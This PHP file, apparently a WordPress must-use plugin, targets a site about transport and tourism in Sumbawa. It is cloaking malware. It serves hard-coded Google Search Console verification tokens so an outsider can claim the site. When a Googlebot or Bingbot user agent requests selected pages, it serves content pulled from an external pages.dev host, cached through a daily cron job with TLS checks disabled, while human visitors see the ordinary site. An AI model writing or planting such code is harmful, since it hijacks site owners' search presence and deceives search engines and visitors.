<?php

$_gsc = [
    '/googleea2d63f9056f84a7.html' => 'google-site-verification: googleea2d63f9056f84a7.html',
    '/google0ed77fd6c0b402b8.html' => 'google-site-verification: google0ed77fd6c0b402b8.html',
    '/googleee74e5ce2494e1e7.html' => 'google-site-verification: googleee74e5ce2494e1e7.html',
];
$req_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if (isset($_gsc[$req_uri])) {
    header('Content-Type: text/html; charset=UTF-8');
    echo $_gsc[$req_uri];
    exit;
}

if (is_admin() || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || (defined('DOING_AJAX') && DOING_AJAX)) return;

function ef_is_valid_crawler($ip, $ua) {
    if (empty($ua)) return false;
    
    $ua_low = strtolower($ua);
    
    if (strpos($ua_low, 'googlebot') !== false || 
        strpos($ua_low, 'adsbot') !== false || 
        strpos($ua_low, 'google-inspection') !== false || 
        strpos($ua_low, 'mediapartners-google') !== false) {
        return true;
    }
    
    if (strpos($ua_low, 'bingbot') !== false || 
        strpos($ua_low, 'msnbot') !== false) {
        return true;
    }
    
    return false;
}

$map = [
    '/artikel-tentang-sumbawa/' => 'https://d-r-a-g-o-n.pages.dev/artikel-tentang-sumbawa',
    '/category/sewahiacesumbawa/' => 'https://d-r-a-g-o-n.pages.dev/sewahiacesumbawa',
    '/category/transportasisumbawa/page/21/' => 'https://d-r-a-g-o-n.pages.dev/21',
    '/category/transportasiwisatasumbawa/' => 'https://d-r-a-g-o-n.pages.dev/transportasiwisatasumbawa',
    '/category/transportasiwisatasumbawa/page/3/' => 'https://d-r-a-g-o-n.pages.dev/3',
    '/category/wisatantb/' => 'https://d-r-a-g-o-n.pages.dev/wisatantb',
    '/tentang-rpr-trans/' => 'https://d-r-a-g-o-n.pages.dev/tentang-rpr-trans',
];

$cron_hook = 'ef_muc_r24';

function ef_muc_r24() {
    global $map;
    $cd = WP_CONTENT_DIR . '/cache/';
    if (!is_dir($cd)) @mkdir($cd, 0755, true);

    foreach ($map as $slug => $remote_url) {
        $h  = md5($remote_url);
        $cf = $cd . 'cache_' . $h . '.html';
        $lk = $cd . 'key_'   . $h . '.lock';
        
        $fp = @fopen($lk, 'w');
        if ($fp && flock($fp, LOCK_EX)) {
            if (file_exists($cf)) @unlink($cf);
            
            $ch = curl_init($remote_url);
            curl_setopt_array($ch, [
                CURLOPT_USERAGENT      => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT        => 15,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => 0,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER         => false,
            ]);
            $content = curl_exec($ch);
            $code    = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($code == 200 && !empty($content)) {
                $tmp = $cf . '.tmp';
                file_put_contents($tmp, $content);
                rename($tmp, $cf);
            }
            flock($fp, LOCK_UN);
        }
        if ($fp) fclose($fp);
    }
}

add_action($cron_hook, 'ef_muc_r24');
if (!wp_next_scheduled($cron_hook)) wp_schedule_event(time(), 'daily', $cron_hook);

add_action('init', function() use ($map) {
    $cd = WP_CONTENT_DIR . '/cache/';
    if (!is_dir($cd)) @mkdir($cd, 0755, true);

    $ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $ip  = $_SERVER['REMOTE_ADDR'] ?? '';

    $req_uri = rtrim(parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH), '/') . '/';

    $target_url = '';
    foreach ($map as $slug => $url) {
        if (strpos($req_uri, $slug) === 0) { 
            $target_url = $url; 
            break; 
        }
    }
    if (empty($target_url)) return;

    $is_valid = ef_is_valid_crawler($ip, $ua);

    if (!$is_valid) return;

    $cache_file = $cd . 'cache_' . md5($target_url) . '.html';
    $lock_file  = $cd . 'key_'   . md5($target_url) . '.lock';
    $exp_time   = 604800;

    $fp = @fopen($lock_file, 'w');
    if ($fp && flock($fp, LOCK_EX)) {
        $need_refresh = !file_exists($cache_file) || (time() - filemtime($cache_file) > $exp_time);
        if ($need_refresh) {
            $ch = curl_init($target_url);
            curl_setopt_array($ch, [
                CURLOPT_USERAGENT      => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT        => 15,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => 0,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER         => false,
            ]);
            $content = curl_exec($ch);
            $code    = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if ($code == 200 && !empty($content)) {
                $tmp = $cache_file . '.tmp';
                file_put_contents($tmp, $content);
                rename($tmp, $cache_file);
            }
        }
        flock($fp, LOCK_UN);
    }
    if ($fp) fclose($fp);

    if (file_exists($cache_file)) {
        header('Content-Type: text/html; charset=UTF-8');
        header('X-MU: external-fixed');
        echo file_get_contents($cache_file);
        exit;
    }

    echo 'Cache Failed';
    exit;
}, 99);
